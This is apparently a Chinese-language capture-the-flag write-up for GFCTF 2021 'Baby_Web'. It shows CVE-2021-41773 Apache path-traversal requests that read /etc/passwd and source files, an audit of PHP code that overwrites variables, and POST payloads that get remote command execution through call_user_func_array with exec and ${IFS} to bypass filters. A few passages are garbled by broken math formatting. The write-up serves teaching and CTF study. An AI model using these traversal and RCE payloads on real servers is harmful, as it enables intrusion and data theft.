[GFCTF 2021]Baby_Web(CVE-2021-41773)
题目标签:WEB、PHP、CVE-2021-41773、变量覆盖
做后考点总结:CVE+PHP中量代码审计
CVE-2021-41773
是一个Apache Httpd Server 路径穿越漏洞
详情见:CVE-2021-41773_Jay 17的博客-CSDN博客
在源码中发现了hint:
直接按CVE-2021-41773的思路用现成payload打一下试试。
先是初始界面刷新抓个包,然后改包。
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
当前目录是/var/www/html/
,那么上层目录就是/var/www/
。源码提示说:源码藏在上层目录xxx.php.txt里面,猜测xxx应该包括了index。
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/var/www/index.php.txt HTTP/1.1
读到了源码
index.php:
<?php
error_reporting(0);
define("main","main");
include "Class.php";
$temp = new Temp($_POST);
$temp->display($_GET['filename']);
?>
include "Class.php";
疯狂暗示我们同目录下还有一个Class.php
文件。
一开始我是这样读的:
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/var/www/Class.php HTTP/1.1
但是返回404了。
正确的应该是这样读的:
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/var/www/Class.php.txt HTTP/1.1
提示中上层目录xxx.php.txt
中的xxx
并不是只指向一个index.php.txt
,而是指向了两个txt文件,xxx
是一个泛指。
Class.php:
<?php
defined('main') or die("no!!");
Class Temp{
private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
private $template;
public function __construct($data){
$this->date = array_merge($this->date,$data);
}
public function getTempName($template,$dir){
if($dir === 'admin'){
$this->template = str_replace('..','','./template/admin/'.$template);
if(!is_file($this->template)){
die("no!!");
}
}
else{
$this->template = './template/index.html';
}
}
public function display($template,$space=''){
extract($this->date);
$this->getTempName($template,$space);
include($this->template);
}
public function listdata($_params){
$system = [
'db' => '',
'app' => '',
'num' => '',
'sum' => '',
'form' => '',
'page' => '',
'site' => '',
'flag' => '',
'not_flag' => '',
'show_flag' => '',
'more' => '',
'catid' => '',
'field' => '',
'order' => '',
'space' => '',
'table' => '',
'table_site' => '',
'total' => '',
'join' => '',
'on' => '',
'action' => '',
'return' => '',
'sbpage' => '',
'module' => '',
'urlrule' => '',
'pagesize' => '',
'pagefile' => '',
];
$param = $where = [];
$_params = trim($_params);
$params = explode(' ', $_params);
if (in_array($params[0], ['list','function'])) {
$params[0] = 'action='.$params[0];
}
foreach ($params as $t) {
$var = substr($t, 0, strpos($t, '='));
$val = substr($t, strpos($t, '=') + 1);
if (!$var) {
continue;
}
if (isset($system[$var])) {
$system[$var] = $val;
} else {
$param[$var] = $val;
}
}
// action
switch ($system['action']) {
case 'function':
if (!isset($param['name'])) {
return 'hacker!!';
} elseif (!function_exists($param['name'])) {
return 'hacker!!';
}
$force = $param['force'];
if (!$force) {
$p = [];
foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
$n = intval(substr($var, 5));
$p[$n] = $t;
}
}
if ($p) {
$rt = call_user_func_array($param['name'], $p);
} else {
$rt = call_user_func($param['name']);
}
return $rt;
}else{
return null;
}
case 'list':
return json_encode($this->date);
}
return null;
}
}
代码审计:
首先分析index.php
1、实例化了一个Temp类对象,并且向构造方法传参,参数是所有POST提交的变量。
2、调用了Temp类中display方法并且传参,参数是GET方式提交的filename变量。
然后分析Class.php
1、首先是Temp类里的构造方法
private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
private $template;
public function __construct($data){
$this->date = array_merge($this->date,$data);
}
其中array_merge()
函数的特性如下:(需要注意一下第二点,会造成之后的变量覆盖)
1、合并一个或多个数组.合并后参数2数组的内容附加在参数1之后。同时如果参数1、2数组中有相同的字符串键名
2、则合并后为参数2数组中对应键的值,发生了覆盖。//注意,会造成变量覆盖
3、然而,如果数组包含数字键名,后面的值将不会覆盖原来的值,而是附加到后面。
4、如果只给了一个数组并且该数组是数字索引的,则键名会以连续方式重新索引。
在php手册中对array_merge()函数的样例: (帮助大家理解)
<?php
$array1 = array("color" => "red", 2, 4);
$array2 = array("a", "b", "color" => "green", "shape" => "trapezoid", 4);
$result = array_merge($array1, $array2);
print_r($result);
?>
以上PHP代码执行后会输出
Array
(
[color] => green
[0] => 2
[1] => 4
[2] => a
[3] => b
[shape] => trapezoid
[4] => 4
)
2、然后分析在index.php中调用的方法display()
public function display($template,$space=''){
extract($this->date);
$this->getTempName($template,$space);
include($this->template);
}
extract()
:从数组中将变量导入到当前的符号表
include()
:包含一个文件
3、接着分析display方法中调用的getTempName()
方法
public function getTempName($template,$dir){
if($dir === 'admin'){
$this->template = str_replace('..','','./template/admin/'.$template);
if(!is_file($this->template)){
die("no!!");
}
}
else{
$this->template = './template/index.html';
}
}
如果传入getTempName()方法的形参$dir
值是admin,那就对类中template
属性(
t
h
i
s
−
>
t
e
m
p
l
a
t
e
)进行拼接,拼接
g
e
t
T
e
m
p
N
a
m
e
方法中属性
this->template)进行拼接,拼接getTempName方法中属性
this−>template)进行拼接,拼接getTempName方法中属性template,并且进行替换过滤。
is_file()
用于检查是否是文件。
到这里,代码就没有再指向下一步了,还剩一个listdata()
方法没有审计。
访问一下这个方法中的两个路由试试。
/template/index.html
:(无效路由)
/template/admin/
:(有效路由)
不难发现,/template/admin/
路由调用了listdata()
方法。
那么我们肯定需要使display()
方法中的include()
函数包含/template/admin/
路由了!
4、最后,对listdata()
方法进行审计:
public function listdata($_params){
$system = ['db' => '', 'app' => '', 'num' => '', 'sum' => '', 'form' => '', 'page' => '', 'site' => '', 'flag' => '', 'not_flag' => '', 'show_flag' => '', 'more' => '', 'catid' => '', 'field' => '', 'order' => '', 'space' => '', 'table' => '', 'table_site' => '', 'total' => '', 'join' => '', 'on' => '', 'action' => '', 'return' => '', 'sbpage' => '', 'module' => '', 'urlrule' => '', 'pagesize' => '', 'pagefile' => '',];
$param = $where = [];
//去除字符串首尾处的空白字符
$_params = trim($_params);
//使用一个字符串分割另一个字符串,代码中以空格为分割,将$_params属性分割成一个数组$params[],比如说原来$_params="zhi shi xue bao",经过explode函数处理后变为$params=["zhi","shi","xue","bao"]
$params = explode(' ', $_params);
//检查数组中是否存在某个值
if (in_array($params[0], ['list','function'])) {
$params[0] = 'action='.$params[0];
}
//遍历给定的 params 数组
foreach ($params as $t) {
//substr:返回字符串的子串,第一个参数是“母串”,第二个参数是起始位置,第三个参数是长度。如果没有第三个参数就意味着从起始位置截取到最后。
//strpos:查找字符串首次出现的位置
//$var为$t中等号前的所有。
//$val为$t中等号后的所有。
$var = substr($t, 0, strpos($t, '='));
$val = substr($t, strpos($t, '=') + 1);
//即$t不是“xxx=xxx”形式,而是“xxx”形式
if (!$var) {
continue;
}
if (isset($system[$var])) {
$system[$var] = $val;
} else {
$param[$var] = $val;
}
}
// action
switch ($system['action']) {
case 'function'://111
//$param['name']存在
if (!isset($param['name'])) {
return 'hacker!!';
//function_exists():如果给定的函数已经被定义就返回TRUE
//即$param['name']作为函数已经被定义
} elseif (!function_exists($param['name'])) {
return 'hacker!!';
}
$force = $param['force'];
if (!$force) {
$p = [];
foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
//intval:获取变量的整数值
$n = intval(substr($var, 5));
$p[$n] = $t;
}
}
if ($p) {
//call_user_func_array:调用回调函数,并把一个数组参数作为回调函数的参数
$rt = call_user_func_array($param['name'], $p);
} else {
//call_user_func:第一个参数是被调用的回调函数,其余参数是回调函数的参数。
$rt = call_user_func($param['name']);
}
return $rt;
}else{
return null;
}
case 'list'://222
//将$this->date进行json格式的加密,并且输出
return json_encode($this->date);
}
return null;
}
trim()
:去除字符串首尾处的空白字符
explode()
:使用一个字符串分割另一个字符串,代码中以空格为分割,将
p
a
r
a
m
s
属性分割成一个数组
_params属性分割成一个数组
params属性分割成一个数组params[],比如说原来$ _ params=“zhi shi xue bao”,经过explode函数处理后变为$params=[“zhi”,“shi”,“xue”,“bao”]
in_array()
:检查数组中是否存在某个值
foreach()
:遍历给定的数组
substr()
:返回字符串的子串,第一个参数是“母串”,第二个参数是起始位置,第三个参数是长度。如果没有第三个参数就意味着从起始位置截取到最后。
strpos()
:查找字符串首次出现的位置
function_exists()
:如果给定的函数已经被定义就返回 TRUE
intval()
:获取变量的整数值
call_user_func_array()
:call_user_func_array:调用回调函数,并把一个数组参数作为回调函数的参数
call_user_func()
:第一个参数是被调用的回调函数,其余参数是回调函数的参数。
json_encode()
:进行json格式的加密
不难发现,在下面一段代码中,存在RCE的可能
if ($p) {
//call_user_func_array:调用回调函数,并把一个数组参数作为回调函数的参数
$rt = call_user_func_array($param['name'], $p);
} else {
//call_user_func:第一个参数是被调用的回调函数,其余参数是回调函数的参数。
$rt = call_user_func($param['name']);
}
方法一:
利用call_user_func_array
函数进行RCE
最后的目标应该是 r t = c a l l u s e r f u n c a r r a y ( " s y s t e m " , 命令 ) ; 即 rt = call_user_func_array("system", 命令); 即 rt=calluserfuncarray("system",命令);即param[‘name’]=system且$p=命令
1、先使$param['name']=system
,一步一步倒推,在switch
语句内,我们需要使
p
a
r
a
m
[
′
n
a
m
e
′
]
存在并且是定义函数(已经满足,无需考虑)同时
param['name']存在并且是定义函数(已经满足,无需考虑)同时
param[′name′]存在并且是定义函数(已经满足,无需考虑)同时system[‘action’]=function
2、继续倒推,满足$param['name']=system
的话,在foreach
语句块中,$params数组需要有以下键值对
‘name’ =‘system’
‘action’ = ‘function’
考虑到满足 p = 命令, p=命令, p=命令,params数组还需要有以下键值对
‘force’ =‘false’ //满足$force = p a r a m [ ′ f o r c e ′ ] ; i f ( ! param['force']; if (! param[′force′];if(!force)
‘param0xxxxx’ = ‘命令’
解释一下这个'param0xxxxx' => '命令'
。
foreach ($param as $var => $t)
语句使得$var
='param0xxxxx'
并且$t
='命令'
。$n
是$var
第五位开始截取的字符串,在我这个payload中就是0xxxxx
,经过intval函数之后$n
=0,最后$p[0] = $t;
就是$p[0] ='命令';
。当然,这里下标也可以不是0,只要是个数字就行。
3、继续推,看到下面这一段代码。如果$params
数组(有序数组)第一个元素是'list'
或者'function'
,就把$params
数组第一个元素的内容,前面加上一个字符串action=
。
if (in_array($params[0], ['list','function'])) {
$params[0] = 'action='.$params[0];
}
所以这里又可以分为两种情况。
一、利用上一段代码
$params=[“function”,“name=system”,“force=false”,“param0xxxxx=命令”]
这里"function"
元素必须放在第一位。
二、不利用上一段代码。
$params=[“action=function”,“name=system”,“force=false”,“param0xxxxx=命令”]
这里"action=function"
元素位置可以任意。
4、继续往上推,快到头了。
$_params
参数的值是"function name=system force=false param0xxxxx=命令
或者action=function name=system force=false param0xxxxx=命令
剧透一下,有一个payload在结合了实际的listdata()
方法的调用后是无效的。但是从代码审计的角度看,审计、推理到目前都是正确的。
5、继续推,跳出listdata
方法。
如果我们要调用这个listdata
方法就需要进入template/admin/
这个路由,即在display()
方法中包含这个路由,即display()
方法中执行include($this->template);
时,$this->template
属性就是template/admin/
6、继续上推,那么我们就需要在includ的上一句程序$this->getTempName($template,$space);
中改变$this->template
属性(这个属性初值是''
)。
进入getTempName()
方法。我们的目的是执行$this->template = str_replace('..','','./template/admin/'.$template);
语句,并且在执行时使$dir = 'admin'
并且$template=index.html
。
因为template/admin/
路由和template/admin/index.html
文件都能调用listdata
方法,但是if(!is_file($this->template))
要求必须是文件!
所以getTempName($template,$dir)
方法的形参$template
=index.html
,形参$dir
=admin
。
7、继续上推,getTempName($template,$dir)
方法的形参确定了,而getTempName($template,$dir)
方法的形参又来源于display()
方法的方法内变量(也可以叫属性)$template
和$space
。而这两个属性在方法内是不存在的,要使这两个属性存在且有我们需要的值,只能执行extract($this->date);
语句,从数组中将变量导入到当前的符号表。
那么类中变量/属性$this->date
就应该是['template'=>'index.html','space'=>'admin']
,没结束,别急,我更加急。
8、回顾一下listdata
方法的传参:
在代码中定义的说传入一个参数,但是这个参数肯定是字符串啦。
在template/admin/index.html
文件中调用这个方法时,方法的形参传参是这样的:
确实也是一个字符串,但是细心的师傅肯定能发现,这个字符串可控的只有最后一部分$mod
。就是说不管我们怎么改变listdata
方法的传参,listdata
方法的参数都会带有一个前缀action=list module=
。
这导致了两个问题。
一、
在推理的第【4】步有剧透过:有一个payload在结合了实际的
listdata()
方法的调用后是无效的。因为传参一定会带有一个前缀,所以我们无法控制
$_params
字符串分割成的数组$params
的第一个元素是"function"
。第一个元素只会是action=list
。所以第【4】步
$_params
参数的值只能是action=function name=system force=false param0xxxxx=命令
那么
listdata("action=list module=$mod")
调用方法时,$mod
=xxxx action=function name=system force=false param0xxxxx=命令
。最终结果就如预期那样listdata("action=list module=xxxx action=function name=system force=false param0xxxxx=命令)
成功就行RCE。
二、
listdata()
方法是在display()
方法中被包含并且调用的。在
template/admin/index.html
文件中调用listdata()
方法时说这样调用的:listdata("action=list module=$mod")
就是说
display()
方法还需要有个属性$mod
=xxxx action=function name=system force=false param0xxxxx=命令
那么第【7】步,类中变量/属性
$this->date
就应该是['template'=>'index.html','space'=>'admin','mod'=>'xxxx action=function name=system force=false param0xxxxx=命令']
9、(最后)感谢你坚持看到这里,写的有点冗余属实抱歉,我初心只是想写的详细一点,没想到到这里已经这么多了。师傅请勿怪罪qaq~
接下来就是最后一步,构建最终POST/GET传参的payload了。
前面提到:
$this->date
=['template'=>'index.html','space'=>'admin','mod'=>'xxxx action=function name=system force=false param0xxxxx=命令']
$template
=index.html
(第【6】步)
而$this->date
是在构造方法__construct($data)
中由于array_merge()
第二个特性变量覆盖而被赋值的。所以构造方法__construct($data)
中$data
属性就可以等于$this->date
等于['template'=>'index.html','space'=>'admin','mod'=>'xxxx action=function name=system force=false param0xxxxx=命令']
即我们在index.php中(题目初始界面)POST一个:
template=index.html&space=admin&mod=xxx action=function name=system param=命令
此时在初始界面GET提交的filename
变量(display()
方法中的$template
变量)就随意了,因为最后都会被POST提交的变量覆盖。
?xxx=xxx //GET
这种情况的payload:
?xxx=xxx //GET
template=index.html&space=admin&mod=xxx action=function name=system param=命令
当然,$template
变量也可以通过在初始界面GET提交的filename
变量作为display()
方法调用时的参数,此时就得避免被POST提交的变量 变量覆盖
这种情况的payload:
?filename=index.html //GET
space=admin&mod=xxx action=function name=system param=命令
最后还有一个问题,因为函数禁用、命令执行无回显或只回显一行等原因,我们的payload还需进行绕过处理(本篇主要讲代码审计,RCE绕过过滤的过程就略啦~)
system换成exec
命令需要带出到文件,如果命令中有空格则需要用
${IFS}
替换空格。
最后payload:
?xxx=xxx //GET
template=index.html&space=admin&mod=xxx action=function name=exec param=tac${IFS}/f11111111aaaagggg>/var/www/html/1.txt
或者
?filename=index.html //GET
space=admin&mod=xxx action=function name=exec param=tac${IFS}/f11111111aaaagggg>/var/www/html/1.txt
方法二:
利用call_user_func
函数进行RCE
flag在phpinfo中也会显示。所以我们只需要$param['name']='phpinfo'
就行啦。
过程及其类似且少于方法一,就不重复推了。
最后payload就是:
?xxx=xxx //GET
template=index.html&space=admin&mod=xxx action=function name=phpinfo
或者
?filename=index.html //GET
space=admin&mod=xxx action=function name=phpinfo
希望这篇博客能对你有所帮助!